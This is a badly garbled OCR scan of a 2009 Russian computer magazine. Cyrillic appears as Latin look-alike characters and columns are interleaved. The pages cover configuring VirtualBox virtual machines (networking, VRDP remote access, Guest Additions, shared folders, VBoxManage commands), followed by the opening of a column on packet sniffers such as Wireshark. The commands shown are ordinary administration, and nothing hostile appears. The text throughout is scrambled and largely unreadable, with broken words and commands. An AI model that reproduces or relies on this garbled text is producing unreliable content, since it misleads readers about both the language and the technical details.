Tenepb nepexop,11 8 Haapoi1KlII 1II YCT3HaSfll-1Bai1
lIIH¢JpacrpyKTYPY, TO X04Y nOAPo6Hee KOCHyrbCI1
BblAaHHble TeM >t<:e caMblM DHCP-cepBepoM T04Kli1
pa3MI'-IHl:>le napaMeTpbl BlIIPTY311bHO~ MaWI<1Hbl,
HaCTpO~KI-1 ceTeBblX 14HTep4Jei1coB, ElLie ro,Q
,Qocryna, l-1 co CTOpoHbI pa306paTbCl1, KaKV1e XOCTbl
.Ilml Ha4aJl3 MO>KHO npl11MOHTlIIp:J8aTb B KayeCT
Ha3aA nOAO,ep)l(K)' C€Tli1 e,[\8a JlV1 MO)l(HO 5blll0
-
Be nplllBOJl,3 150-06pa3 c ,D,V1CTp1ll5yr1ll80M lli111li1
H<l3SaTb nOJlHOlleHHo~, HO Tenepb Bce OTJ1\o14HO
ryanbHoi:1 CI<1CTeMo~. npal<TV14eCKV1 He803MO:>KHO.
ceTe80H a,D,anTep nony4aeT T04HO TaKoi:l :>Ke ,Qocryn
HaCTOl'lw,V1e, a KaKl-1e -
3anylL(eHbl no,£\ tll'ip
npocro npeJl,OCTaBlIITb B paCnopll>KeHli1e CDOi1
pa6oTaeT. .IlJll'l Ka>KAO~ BV1pryaJlbHOii M3WV1Hbl
Pe.>KV1M (BHyrpeHHI1" CeTb») OTill-14HO nOAXOAl-1T ,Qfl"
CDIOVO-Apa~BI. nOClle 4era H3)t(<JTb KHonKy
MO)l(eT 6blTb YCT3HOBJleHO .00 4eTbipex BV1pry<lJlb
J10KaJlbHbIX 3Kcneplo1MeHToB, Kor,Qa BV1pryaJlbHblC
«CTapT)) L1 npli1C'rynli1Tb K YCT8HOBKe.
HblX V1HTep¢Jei1coB, HO cal-IDe rllaBHoe B TOM, '-lTD
t-1aWV1HbI HY;+:HO CBl'l3aTb B flOKaJ1bHYIO CeTb. He
ECJlli1 c Bl-1pTYaJ1\t13a~Y1eVl Tbi paHbwe Jl,e.na He
pa60TaTb OHI-1 MOryr B pa3Hbix pe)t(lIIMax. Pe)l(li1M,
npe,£\OCTaSJ1Sll'l 11M ,QOCl)'n HapY>l'Y V1l( MaWl-olHe
liIMefl. TO OTHeCVlCb K BV1pTYaJlKe i<CIK 05bl4HOMY
B KOTOPOM l-olHTep<pe~c 6YJl,eT ¢yHKlJ,110HlIIpOBaTb,
Xouy. BKJ1104l-1Tb B 3ry celb MawV1Hy-xoCT n036011I1T pe:>KliIM «Bl-1pryaJ1bHall ceTb xocra»,
&lYAAflEHHOEnOAKn~:
SUN TECH DAYS 2009
4EHIo1E K BIo1PTYAllbHOIo1 MAWIo1HE
l-Ieu3BeCTHO, KOftJ;3 6bl R elLie 83fnJ'lHyn Ha VirtualBox, eCJ1116bl He 1l0naJ'l HB KOHq,epeHlVUO
VirtualBox,- 3TO B03MO:>KHOCTb YAalleHHoro no.Q
Q)yHKIJ,V1I1, 33 KOTOpylO 11 oc05eHHO nOnK!6V1J1
K BlIIprya.nbHblM MaWlIIHaM no CTaH,[lapr
Sun Tech Days, npoxOtl:HBwyJO B nHTepe8-10anpe.rm, MepOrrplliITHe, H8A0CJ<333Th, nopa:>Ka
KJ1K>4eHI-1~
eT MacwTa6aMH. YSHtJ;CTb TbIC.Il.~1H pa3pa60T'lHJ<013, c06paHHbLX B O,l{HOM Mecre H tJ;OBOJlbHO
HOMy npOTOKO.ny RPD [sept·lee, ero MOJl,li1¢JI1lJ,li1PO
'ITO-TO O~aIOlJlHX.MO)KHO He TaK-TO ",aCTO.JlIO.lJ;" npWleTafOT H npHe3>KaIOTll3 p83HblX
BaHHblM BepC\IIRM -
yrO))KOIJ CTpaHbl, H .lJ;e.naIQT3TO)")Ke HCCKOJIbKO }leT noJWHJJ.. Bnpo'ieM, JIerno IlOHRTb, 'iTO HX
Desktop Protocol). np1ll4eM,
npHBJIeKaeT: 3a HeCKOJlbKO.lJ;HeH OH1-I HMelOT B03MmKHOCTb nOCeTHTb 60JIee 45 BblcTynneHHH
I-1cn0J1b3YIOTCl'l aaH,n,apTHble KJ1V1CHTbl: BV1H)J,O
lot npaKTIr<£ec{{Hx 3aH.linrH no caMbI1tt pa3HblM TeMaTHKaM
npeMYAPocTRM cpetJ; SunStudio lot
Ne£Beans, HaCTpOH.Ke openSolaris, nporpaMMi1pOSaHHIO H3 JavaFx Ii T.JI,. YTO Ba>KHO, Bce.n,o
Bal1 yrV1J1V1Ta
VRDP, VirlualBox Remote
AJI" nO,lJ,KJ1104(>Hli1~
mstsc V1J1V1. HanpV1Mep, HI<1KCOBbli:1
rdesktop. WryKa npoCTo YMonoMpallli1TellbH3R:
K.!l(lAbI 'lwran:H caMH CneUHaJlllCTbl Sun, MHOflile H3 KOTOpblX npHJleTeJlH B nHTep TOJIbKO C 3ToH
MO:>KHO 3anyC1l1Tb Ha XOCTOBOI1 MaWVlHe cpa3Y
Ue.rrbJO, a Ha OTKpblTltH KO.t-HpepCHUHliI He p;aBaJI CK}"laTb):VI<HT Koyn, BHL\e·npeJHlteHTfi0ltpa3
HeCKOJlbKO sliIpryanbHblx MaWV1H, ,Qarb K He~ npl1
AeJ1eHHR t.<l1HeHTCKoro nporpaMMHoro 06eCne'leHlUI Sun Microsystems,
Inc,
MOH JWcTYn liI3 V1HeTa -
l-1 nOJlHOL.(eHHO lIIcnOllb30~
3a t(eH.b /1.0 KOHq,epeHl{HH MHe y.lJ;anOCb no6bIBatb B nlotTepcKoM mImce Sun'a, npHRTHO oco· 3HaBaTb, 'iTO 3TO He MapKeTHHrOBaR CTp)'KT)-pa, a Ca/lfbll1: HacrOmu,HH ueHTp pa3pa6oTl<H.
BaTb BV1pryClJ1KI-1, rJl,e 5bl Tbl Hli1 HaxO,D,V1J1CI1.
HeCKMbKo COTeH nporpa,,-rr.IHCToB TPY,lI.RTOf HaA: pa3JIH'IHbIMH npO.lJ;)'KT<lMH KOMIlaH}!H H, B
«YAalleHHblC1 Jl,l-1CnJ1eVl», oTKY,Qa aKTli18l-1pyeTCIl
TOM 4HC>1e, VirtualBox.
Onlll-1R «BKflI04l-1Tb VRDP-cepsep». Ba:>KHbll1
B C80L>tCTBaX Bl-1pTyanbHOH MaWV1Hbi eCTb pa3,o,efl
MOMeHT -
XAKEP 05/125/ 09
All" Ka:>K,D,OH KOHKpeTHoH 8V1pTYanb
/.
;
[0
V~\JA.la X
1;1
--..:::: ()
-{]
·.y·T'.. ~06;"'.--~
I~l r,J!~la ot'j @
::t(eol;ntAI10:l"
["YAaneHHbIH AHOmeM ... _ - - I -----_
CD/OVO·ROM
- - - - _ ..
_--
__
-=~.~~~J
j[g:,~.=_._......-
H'· .~...
Rj~'Tb\lll.DP~
:::'
=1
~j - -
,
[]PPT cepoepa: 3333
WICKeu
~ A.y~o
'i'
@c~
~ Q)l;HJlaHI1>lll'(T~~"':
SOOO
~ COM·nopTbl
tp
,
USB
t:) 05<.4ne nl'l~H ~ YAMet1HbII1AI1Cll/leil
Allll KA>KAOH BI1PTYAllbHOI1 MAWI1Hbl HE06XOAI1MO YKA3ATb YHI1KAllbHblH nOPT -I1I1CnOllb30BATb Ero npl1 nOAKlllO'lEHI1I1 B RPD-KllI1EHTE
~
-
I
iJf
:]J ;;
rOCT€BOI!I
He nonY«IIlTC5I. Hanp>1Mep, Af1~ B>1PlYaJlKIIl C BIIlH,D,Oi1 MO>KHO
C KOToporo 6bICTpeHbKo V1 yCT3HaBlllilSaeTC>l Bce He06xoAV1Moe
3389
[w>1eL4 B Bli1,D,y. 'ITO OH
Mawlo1Hbll.
a AJl51
MaWl1Hbl C HV1KC3Ml.1 -
3390.
B cfly«ae
DC», B Cl1CT€My
YcraHOBli1Tb .QonoflHeHVltl
npli1MOHTliIpyeTcSl Bl1pTyaflbHbl11 CD.
C Hl-1KCaM ..l Hap,o nOMH~Tb, -ITO oq,li111,1'13nbHO no,Q
p,ep)KI1SaIOTCS1 AV1CTPVl6yrVlBb1 Fedora Core, Redhat Enterprise Linux. [open)SUSE. Ubuntu, HO S ,a,eI1CTBl.1TeJlbHOCTli1 AonClll-le·
• AOMawH~Sl CTpaHIo1L\a
CraHAapTHbliiI BV1H,D,OBbll!l KJlVleHT MO)KHO 3anYCTlATb no KOMaH
VirtualBox:
,D,e mstsc li1flli1 Hai1TV1 ero 4epe3 MeHKl «nYCK ~ CraHAapTHble
nepe,QYCT3HoBKO~ HaCTORTellbHO peKOMeHAYIO ycraHOBli1Tb
'J'.!W\N, VI rtL@11!ox..arg.
7
4>pe~MBopK DKMS [Dynamic Kernel Module Support) nOA
• CTaTbV1 0
VB:
nOAKJlI04eHliIe K YAaJleHHoMY pa60YeMY CTony».
B nepBblL4
pa3 Ii Aonro nbll"anC5I npV1COe,D,l-1HV1TbCPi K rOCTeBbiM
OC,
yKa3bl
hl.lp/MQ~".;un
83<;1 IIlX c06CTBeHHbie
COmIYl rtuo l8.Qx811ZZ,
CeTeBOL4 MOCT, 4T05bl OHli1 BOWJIl-1 B MaIO 06bl4HyfO floKanKyl V1
• Hen.noxo~ MaHyan
He nOHl-1Ma>l. nOyeMY HI1'lero He pa60TaeT. PeWeHl-1e OKa33
/'
no
,
7
MaWVlHbl Bbl6paTb <<YCTpOI1CTBa
l-1Ha..,e O,D,HOSpeMeHHQ pa60TaTb C HeCKOJ1bKV1Ml-t BlilplYam:aMIIl
MO>KeT 6b1Tb 3aH51T HenOCpe,IJ.,cTBeHHO cepaepOM RDP XOCTOBOL4
links
ME SEAMLESS WIND-O-~Hii'RPD KllI1EHTA, CnOMOU4blO KOTOPOrO II nOA· KlllO'll1llCll K BI1PTYAllKE CDEBIAN LENNY
HOi:1 MaWII1Hbl Heo6xo,Ol-1MO YKa3aTb c80ii ylH1KanbHblH nopT,
OCTaBl.1Tb nopT no YMofl«aHV11O
~
",-,
OKHOTEPMI1HAI1~U~>KI1.
~CnOJlb30Ba~
IP InpeABapI1TeflbH0,D,1151
Hli151 YCTaKaSfll.1BaIOTC>l lJ1 Ha MHorL1e .o.pyrllle TyKCbl.
Ubuntu 3TO AenaeTCs:l:: nOMOll\blO KOMaHAbl:
HVlX 6blJl C03AaH
sudo apt-get install dkms
flOCb npocTblM: Afl>l nOAKll1O'leHliIs:l Heo6xOAliIMO YKa3blBaTb He
Aallee MOHTltlpyeM o6pa3 VBoxGueslAddltions.iso B Ka4eCTBe
1-11'110 KOHCOllbHoro
aApec roCT51, <J IP-WHIo1K XOCTOBOi1 MaWI1HbI C Hy:.t<HbIM nopTOMI
Fll.1pT)lanbHoro CO-ApaLIIsa, nepexo,Qli1M B 3lY Al1peKTOp1ol1O lJ1
VBoxManage:
nOA HI1KCaMI1 BblnOflHIo1Tb nOAKJlIO'leHli1e He MeHee npOCTO
nop, pyrOM OT.r\<leM KOMaH,IW:
Sl<9o.~"".QL
4epe3 rdesktop, KOTOpblL4 8 JH060M COBpeMeHHOM Ali1cqJl15yrl1
com/2009/rm
Be yCTaHoslleH no ,qeepomy:
sh ./VBoxLinuxAdditions-x86.run
virtualbox
htmJ_
~'bQx.m£lJl~I...~ __
rdesktop host_systern_ip:port
4T06b1 nepeKoMnlllflVlpos3Tb MOMlllll >l,D,pa Ha rocr€soi1 Mawlo1 He,,QellaeM:
.QpyroL4 Ba>KHbILil MOMeHT. 0 KOTOpOM 51 nOKa yMOJ1'lafl.
/etc/init.d/vboxadd setup
HacTpoliiKli1 aBTopI13au,li11i1. CaMblf1 He6e30nacHbilii MeTOA
:1
ts
nOllHOCTblO OTKJlIOYli1Tb npOL.\eAYPY ayreHTVI¢,IIlKaL.\ltlVl. HO B
€)
)J,ClHHble 6blflO Hee03MO>KHO OTCHIo1<paTb, Jl106aR RPD-cecClJIH
, dvd
WVleppyeTcR
A,,",CTpl-l6yrl.18
C 128-6V1THbIM KJlIOYOM, KOTOpbl11 MeH>leTC>l Ka.>K,Qble
VirtualBox·a. a TaK;t;e
ornpaSll€HHblX n@KeTOB.
3TOM cllyyae AOCT)'n K BliIpTYaJlKe nOflY4l1T mo6011 )l(enafOw,VlI1
nOClle KOMnlilm:lL.\lil~ OCTaeTCl'l neperpY311Tb rOCT€BYIO M3W~HY
BMeCTO ::noro MO>KHO Bbl6paTb aBTOpI13aL.\li11O 4epe3 aKKaYI-ITbl
Vl y6eAltlTbCPi. 'lTO ace HOBbie MO,D,Ylllil HOpM3flbHO pa60TaKlT.
XOCTOBOL4 01(l€Mbl lJIflli1 aKKayHTbl rOCTeBOL4 ClilCTeMbl. YTo6bl
c nOMOll\blO ClilMMeTpl1'lHOrO
YCTaHOBIIlTb ,D,onOIlHeHlJI>l
.l\J1A rocTeBbix DC CTOl4T li1 pa,o,li1 APY
4096
rOf1 KllaccHoill epYHKtJ,L1V1 -
pe)Kli1Ma SeamLess windows. 4TO
3TO? EClllil BKJ1IO~~Tb
SDK pa3pa6oT'.u1K<l
,
mPE>KVlM SEAMLESS WINDOWS
RC4 aflropmMa
o nl.ll1 Kl,
TO OKI-la Bli1pryaflbHoi1 MClWlilHbl
6yfJ,yr oTo6pa)l(aTbC51 TaK )Ke, KaK eCJ1li1 6Gl :no 6blfll1 OKHa
VI AOnOllHlATenbHble
mAOnOJUjEHI,UI
yTl.1nl'1Tbl >K.!lyT re6!'! Ha
rOCTEBOVl CVlCTEMbl
nepeHOcflTCs:l OAHI1M Ha)KaTVleM KflaSV1W'1.
HaweM .o.l.1CKe.
Henpl1flTHbll1 MOMeHT B ItlcnOIlb:30SaHVlVl Sl-1pryaIlbHblx MaWli1H
HaCTOJlbKO J,QOpOBO, -ITO 4epe3 HeKCTopoe SpeMI'l 3a6blBaeWb,
~
06b1'lHO~ XOCTOBOI1 OnepaL\V10HKVI. B oCH08HylO Cl.1CTeMY 01-11-1
Bee
pa60TIleT
C8~3aH C «3axaaTOM)} li1Mlil KJlaSlil3rypbll-1 MbIWKIIl. nOCJleAHlile
KaKOe li13 HI1X Ha caMOM ,Qefle JanyU.\eHO Ha BVlp"JaIlbHO~
pa60T.3IOT flli160 B rOCTeBOL4 DC, J1V160 B XOCTOBO~ -
MaWIo1He. TacK6ap roCTesol1
ocso
60Alo1Tb 3aXBa'leHHble Blilpl)'aJlKoi1 MaHliInymnopbl MO>KHO
DC
npV1 3TOM oTo6pa)l(aCTC51 p51.QOM
C naHeflblO Ja,Qa'l npli1Bb'4H0L4 XOCTOBOL4 CVlCTeM",1
cneL.\l1allbHO Ha3l-layel·UWL4 KJlaBl1Wetil Host Key lnpasbllii
Ym6bl BKTlIO'lli1Tb pe>t<liIM Seamless. He06xQAl.1MO Ha>K3Tb Ha Host key
<Ctrl) no Aeq,omyl. nepeKJIlOyeHlo151 TYAa-clO,Qa. oco5eHHo B
RMecre
cny"ae HeCKOllbKlilX BltlpTYaJlOK. Ha'l101H31OT BblBOAI1Tb 113 ce6R
COOTseTCTUIIlV1
yxe yepe3 HeCKOllbKO Mli1HYT. HepsHble KlleTKli1 Hy;.KHO 6epe4b,
SYIO MaWltlHY, a ¢<:oH Bl>1ply3llKIo1 fJ;AeT Bblpe3aH.,D,n51 B03spaw,eHl-151 B
nO::lTOMY peKOMeH,QylO 8 Ka)l(,Qoi1 rOCTeeoj;1 DC YCTaHoBl'llb TaK
06b14Hblf1 pe)KVlM It1cnCllbJY€!TCl=l fa >Ke KOM61i1Ha4l1H KJlaB~W.
Ha3b1BaeMble Guest Additions. nOcfle :noro rpaHli1l.\a Me.>KAY
CDyHKL\l>111 ,qOBOllbHO cneL.\IIl¢,\o1«Has:l. no:noMy pa607a
OKHOM C rOCTesoCi npo3pa4HOYI -
DC
Vl XOCTOSOL4 CI1CTeMOC1 CTaHOBliITCs:l
HlJ14ero He 33XsaTbisaeTCfl, a 6yepep 06MeHa
c «L» - r;OCfle yem p33Mep 811JJ1YaJlKJ.1 6y.neT BblCTaBJleH B c paCWli1~Hli1eM 3KpaHa, OKHa nepeHecyrcH B xocro~
eT nOKa TOflbKO AllA rOCleBblX
OC
Solaris/OpenSolaris C cepsepoM
Ha Windows. a TalOKe
X.org
CTapwe 8(~PCI1I1
1.3.
CTaHOBI1TC5I 06w.liIM EClll-1 Tbl pa60Tan C VMware, TO ,Qon>KeH nOHli1MaTb, 0 yeM fl rosoplO -
mOnL.\li1s:l SHARED FOLDERS
TaM TOT XI? nOAXO,Q.
B CllY'lae c Windows 3al1HCTafllo1Tb Guest Additions
npoCTO, KaK
Asa>KJl.bl ABa: HaAo llli1Wb B MeHIO 3anyU.\eHH0\1 BVlpry3flbH0L4
~
034
Te;t<e caMble Guest Additions Ao6aBJlHlOT ew,e O.QHY epYHl<l..J,l.11O -
Shared Folders, li1Jili1 o6ll\l.1e nanKl1. BellJ,b O'leHb YAo6Hafl
XAKEP 05/1251 09
nOl1rPATb B QUAKE311 on I1E HAOPENGLBrOCTEBWXOCT HE np0611EMA, POBHO KAK 11 BKll10411Tb 3D-3<ll<llEKTbl nOllI06I1BWErOC5! COMPIZ'A
ynPABllEHI1E BI1PTYAllbHblMI1 MAWI1 HAMI14EPE3 KOHCOllbHYIOYTI111I1TY VBOXMANAGE
n03BOflfleT ¢V13lt1'-1eCKlIl He paCW3pv1BaTb pecypCbl. HQ nplt1MOH mpoeaTb Io1X B rOCTeSblX
Ami
no CeTI'!.
OC.
KaK eCIH1 6bl OHIt! 6b1lllil AOC1jnHbl
K3)1()J,a>l rOCTeaa>l MaWltlHa
6yACT B\1,o,elb TOflbKO TO, !,(fO ei:1 nonaraeTCfl.
C
nOMO~blO
Cl.1CTeMe
lt1
PeamnyeTcfI
310
¢al;1nOBoro ,u,paillsepa Ha rOCTe6blX OC. KaK CAen3Tb
TaKyK) pacwapeHHYIO nanK)'? Ha}0Ke 3anYl.1\eHHol;1 Blo1pryallKe
-7 06w.l-1e nanKI'Il),
KOHconbHYIO YT\l111V11)' a,o,MV1H\IlCTpV1pOBaHI1Sl VBoxManage.exe L1 L1Cn0J1b30SaTb B CBOI1X
MO)+(HO
Aocryna
TyanbHble MaWVtHbl He COCTaBIIIT Tpy,o,a
c:\Program Files\Sun\xVM
~~,
~MCKa
o603Ha~a~mee
vboxsvr -
~VlKcMpoBa~~oe
xocT-Ma~y
sharename - Ha3UaHl-le TlaTIKYI, :<OTopoe 'rb! yKa 3aJl e MOI1Cr-rT C03LlClHI1R o6metir nallKl-l
f:j
~t
vboxsf
[~o
KOMnbIOTepe.HY)l(HO J1li1Wb 3KcnopTltlpOSaTb KOH$wrypaUli1tQ B epa~n cneu,Vl3flbHoro 4>op Mala OVF [OTKpblTbllil epopMaT Bli1pTyanl1 3a14I1i1ll.Jepe3 MeHIO Ilillai1n ~3KcnopT KOH¢lt1rypal...\I1Ii1».
no,Q linux"Ot~ Bce TO )I(e caMoe SblOollHflerC51 KOMaH,o,oM:
mount
3anycTVlTb Ha APyroM
VirtuaIBox>VBo~~anage.exe list vms VirtualBox command Line Managemenl Interface Version 2.2.0 (C) 2005-2009 Sun Microsysrems, Inc.
All rights reserved.
"w?" {7fSe06fb-fee2-4984-a£22-al13bf67e646)
"xp" {778f2a40-dce8-4519-97fd-9c4cOd6797c4}
nub" {o fc68d97-3883 -48cl-Belf-4 fae39dc2d6c}
I-1X OlOA Blt1pryam<oi1. nOA 8ltlHAOVi
net use x: \ \vboxsvr\sharename , rue X: - 6yKBa CeTenoro
info
S\ilpryallbHblX MaWL1H, l-1X ltlMeHa V1 V1A€HTItI¢V1KaTOpbl UUID:
Bbl6epl1 Hy>K
ceTeBoi:; ,l\1I1CK nO.QKJlI04aeTC>I c nOM0l.1\blO KDM3H,o,bl:
lln~
~
• nOAHRTble BL1p
[nOJ1Hbli1li1nv, TOJlbKO ,lIJlq "'lTeHV1S'lL rOTOBO!
npV1MOHTl-lpOB3Tb
list
vms» - nOllY4V1Wb S KOHCOllV1 cnL1COK scex cyw,eClsylOll\ItIX
Hble KaTanOrlt1 OCHOBHOill 01CTeMbl, 3aAaill lIlM ceTeeoe V1M\1 V1 ypoeeHb
C~eHapL1RX.
MO)l(eWb nonpo60saTb 13BeCTl1 KOMaHAY ,NBoxManage
cneWlt1anbHO 3anYlLl,eHHol;1 cflJ0l<6bl Ha XOC10801;1
Bbl6epV1 MeHle ~<YCTpoiilCTBa
OTBeYy: aSTOMaT\Il3aUV151 1 K CyaCTblO. B VirtualBox HItIKTO
He 06j:J3blsaeT Te651I.1CnOllb30S8Tb GUI-\IlHTep4>ei1c. nf06ble. nO,lJ,4epKl-1BatO - JHo6ble, ,Qe~CTB\.1Sl MO)l(HO BbinollHI1Tb l.Jepe3
K<I)K.o.O~ KOHKpeTHOI1 BlIlPTY311KM TaKI4I~ nanK\>1
HaCTpav18alOTCSl B OT.QenbHOCH1 -
s:l
OPTIONS] shdrename
X04eWb 3anyCTJ.1Tb o.o.HY V13 HI1X? Or.o.aeM COOTBeTCTB}'lOLl\YKJ KOMaH
B XQAe np0l...\e,D,ypb!
,o,y, yKaJas V1MSl Hy)l(HOW BVlp-ryanKL1: l<VBoxManage.exe startvm w7».
CKOnli1pyelcR 11 BV1pry
CJlOBOM, 4epe3 3l}' KOHCO.nbH)'lO yrWlItIl)' i l l MO>l<eWb C,1\enaTb a6co
aJ1bHblH >t<eCTKIII~ ,!J,I1CK
lllOTl-lO sce: ryJ13a c pa,o,OCTblO paCCK8)1(er. KaKV1e KOMaH,1\bl VI KaK
c ¢aVi.naML1
mountpoint
L1CnOJlbJOBaTb, eCllV1 Tbl 3anyCT\.1Wb ee 6e3 napaMeTpOB. BnpOl.JeM, Koro l-1 TaKO~ sapV1aHT He YCTp8l-1SaeT. ew,e
• np0I.WAypa MItI
nO,QAEP>KKA 3D B rOCTEBblX OC
60flbwe IIIHTerpau,~1tI C VirtuaLBox'ot-i MO)l(HO AOCTMl.Jb
rpall,1iI V1 CApyroro
OAHm1lt13 VlHTepecHei1wLo1x ¢W-I, KOTOPYIO B nLo1Tepe J'lf1YHO n0lG33bl~
C nOM0utbIQ OTKpblToro API nporpaMMbI. 5Jlaro.o.ap51
npoAyKTa Cl-1J1bHO
sanlil pa3pa6OTYl-1Kl1 VirtualBox'c - 3TO nOPJl,ep)l(lG3 3D B rOCTeSbiX
Sbl30BaM, KOTopble xopowo ,o,OKyMeHTMpOBaHbl 8 SDK,
ynp0l..L\eHa 3a C4eT
O1crcMtiX Ha 6a3e Bl-1H,D,bl V1l)'Kca. 5JlarO,1\apfl 3T0l1 HOBOi1 ¢yHKllVlVl,
pa3pa60TI.J\o\K nOJlyyaeT nOI1HblVi KOHTpOJ1b Ha,o, ,o,BV1)l(
Toro. "ITO VirtualBox
nporpaMMe He npI1Xo,o,VlTC51 60J1bWe 3Mynlilp0saTb 30-YCKOpeHllle
KOM BlilpryallV13au,v1L1. B Kal.JeCTSe npL1Mepa. KorAa
nO,IJ,AepJt<I1BaeT 06
6H}'Tplil BVlpryallbHoi1 MaWV1Hbl [YTO ,D,IIIKO Me.nneHHol- sMeCTO 3Toro
pa3pa6oTI.JL1K BocnOllb30BaJ1C~ OTKpblTbiM API, CTOIIIT
P03bl ;;ceCTKVlXAV1CKOB
VirtuatBox V1cnonb3J'€T rpa~V14ecKV1i1 npCl.\er.c XOCTOSOi1 MaWl-1Hbl,
npl1SeCTl-1 YTL1flIilTy BoxVmService [http·lfsoUrCf!for·QJL
VMDK (VMware)I1VHD
llpW-IeM He BcDKHO 6y,o,b Ta Ha Windows, Linux, Mac, Solaris. Kopol.Je
nel/projecls/\.:Q,QxvrnserviceJ. Ee ueJ1b -
[Microsoft Virtual PCl.
fOSOpR Quake3 Ha BVlpryanbHol1 MaWI1He WlV1 nOJHo6l-1BwV1ec51
aAML1HLo1CTpaTopy rpaMoTHo 3anycn1Tb VirtualBox B BV1,D,e
MHorl1M :xp.:peKTbl Compiz"a no,o, J1I1HYKCOM - Tenepb BnOJ1He HOP
Windows-cep81t1ca. CnoBo l'rpaMOTHOI> 03HallaeT, "ITO
n03S011V11b
MallbHoe >l8fleHl-1e. Pa6OTC3eT 3TO peaJ1bHO xopowo. Y,Qanocb ,o,QCTI.14b
BV1pTyaJ1bHble MaWV1HbI .QOJlA(Hbl CTapToBaTb np'ilMO 8
no,u,06Horo pe3YJlbTara 3a Cl.JeT AonOJ1HIIITenbHoro 3D-,o,pai1sepa,
MOMeHT 3arpY3KV1 8V1HAbi (eu.\e)],o J10rl1Ha nOflb30BaTen51
.<oTOpblVi ycral-iaB.J1lt1aaeTC51 AMeoe c Guest Additions S rocreey.o
OC
o C!ACTeMe], 11 !:lM8CTe C HeVi >t<e KoppeKTHO 3asepwaTb
11 BblnO/lH51eT POflb cBoeo6pa3Horo nocpeAti101Ka. KOr,1\8 l<3KOe-TO
pa6oTy. K CO)l(aneHltllO, npoeKT HblHe He nOAAepJt<V1saCTCSl,
npW'1C»KeHltle IHanp\llMep, oapa\1 p'o6pa~ KsaKaI B rocresoVi Cl.1CfeMe
O,D,HaKO, no-npe>t<HeMy SlB.n>leTCj:J BnOJ1He pa6oTocnoco6
nbllcerc~ 8ocno.nbJOSaTbCSl annapaTHblM YCl<OpeHV1eM 3D Yepe3
HbIM. KCTiJTItI, 31"OT)I(e pa3pa6oTlll1K Ol.JeHb CKOpO 06eutaeT
~lHTepepei'kbl OpenGl COQTBeTCTBylOut\lle Bb130Bb! nepe.o,alOTC>l Ha
SblnyCTI1Tb nepsyfO sepcV110 APyroro CBoero npoeKTa
:xocrOEl)'lO CV1CTeMY no opraHI130saHHOMY VirtualBox·oM l}'HHeJ1tO.
vboxWebAdmin ,o,flSl ynpaSJleHV151 slIIpTyanbHblMV1 MaWi'1Ha
rAe ycnewHo \Il BblnOflHj:JIOTCfl, nOKa, npas,o,8. ¢YHK~Vl'il CI.JI1T8eTCSl
MI1 Yepe3 se6-ViHTep¢ei1c.
:KcnepVlMeHT8nbHOVi Lo1 n03TOMY, no yMOflI.JaHI11O, B HacTpoi1Kax
nOCJ1EAHIo1H TPIo1K
.mpry8JlbHoi:1 M8WII1Hbi OTKRlOc,eHa. He TeKYll.\V1Vi MOMeHT no,D,
f:j
/l.ep)l(i1SaeTC51 101lbKO OpenGl-yCimpeHI1€, op,HaKo. Oirect30
s:l He ynOM51HY.n eute O,i:\HY i13IOMV1HKY npoeKTa VirtualBox
pa3pa601'-·-H1KV1 06eut81OT y>+<e B 6y,aYLl\IIIX pe.n113ax.
a6COJHOTHO 6ecnflaTeH ~, 60nee Toro - YOCTb ero V1CXOAHIIIKOB OTKpbITa! n03TOMY, eCJllil Tbi elJ.le He ycneJl n0utynaTb Blllpl)'a
f:j
ynPABJ151EM BM 4EPE3 KOHCOJ1bl
J1113au,liIlO CBOVlMltI pyKaMV1 L1nl.1 Ha06opOT >lBll>leWbCSl ,o,aBHIiIM
nO,DAep)l(Ka .n106b1X ceTeSblX KOH4>l1rypa~V1~, YAalleHHbI~
l-1 3aKopeHenbiM nOJlb30SaTeJleM TOI71 )l(e VMware Workstation.
AocTyn 4epe3 RDP - YTO ell.\C MO)l(eT nOTpefioS8T!:IC'il rlllKY?
BC5l4eCKIII peKOMeH,D,yKJ Te6e nonp06osaTb VB. :JL
XAKEP 05 1125f 09
~
035
CTEnAH
~STEP~
I'1nb'lf'
/ STEPlilGlC.RU /
Yl.IWPlE ~ HHCTPYMEHTbI nEH-TECTEPA ~. CHHCDEPbl H P ~ CnAKETAMH
I;
Y Ka>KAOrO
V13 KOMaHAbl ICBOV1 npeAnO'-lTeHV1~ no '-IaCTV1 coqna V1 YTV1nV1T
An~ neH-TeCTa. nocoBew,aBWV1Cb, Mbl Bbl~CHV1nV1, '-ITO Bbl60pTaK pa3HV1T C~, '-ITO MO>KHO COCTaBV1Tb HacTo~w,V1~ A>KeHTnbMeHCKV1~ Ha60p V13 npo BepeHHblx nporpaMM. Ha TOM V1 peWV1nV1. lh06bl He AenaTb C60pHylO CO
n~HKY, BeCb cnV1COK Mbl pa36V1nV1 Ha TeMbl -
V1 B 3TOT pa3 KOCHeMC~ YTV1nV1T
An~ CHV1epV1Hra V1 MaHV1nynV1poBaHV1~ naKeTaMV1. nonb3Y~C~ Ha 3AopOBbe.
WIRESHARK WWW.WIRESHARK.ORG *NIX, WINDOWS
802.11.
Q)aHTacn14€CK>1 ycnewHbl~ aHaJll-13i3TOP naKeTOB
Ring. Frame Relay FOOl ceTIlX, lI1HCTpyMeHT onpe
'<TO HOBbie B03MO>KHOCTl-1 a HeM npaKTl.1'-leCKI'l He
HiIlKCOB, KOTOPbl~ MHorl-1e nOMH\1r VI
AeneHHO O,D,l-1H 1.13 l1)""WI.1X! ,[J,a>Ke eeJ1l-1 Y Te6~ eCTb
n0I18!1I1KlTCfI. K TOMy )l(e. B OTflWIVle OTTorO)l(e
Ai3Mn APYroro CHl-lepepa. He nOfleH>1Cb CKOpMl-lTb
Wireshark, Tcpdump M(J)I(er nOXBaCTi3Tb KYA8
era Wireshark'y - HIIlKOrAi3 He 6y,[\eT .nY1WHIIlM
MeHbWl.1M KOflw.eCTBOM !lp06JleM C 6e30nacHo
,D/lR BIo1HAbl
ill
Aa>Ke nO-npe>KHeMY Ha3blBalOT Ethereal [HoBoe l-1Ms:I nOs:lBl-1nOCbJ1V1Wb C!leTa
2006 roAa). Wireshark
pOBblsaKlTCs< >1 AaHHbIC. OKaTbie gZip·OM. CH>1¢ep MO>KeT pa60Ti3Tb He TOJ1bKO B Ethernet. HO l.1
IEEE
PPP!HDLC. ATM, Bluetooth. USB. Token
nonY4111Tb BO>K,D,eneHHbl(1 ,Ll,aMn AaHHblX. Boo61,1W. 60nee HenpI1XOTfl>1BOrO cpeACTsa. nO)l(afly(1. He HaCtTl.1: 1.1 :no. O"NaCTVI. xopowa51 nopOHa Taro.
«Ha neTy>} 8Haml31'lpyeT Tpa¢V1K >13 nOKaJlbHO~ cern
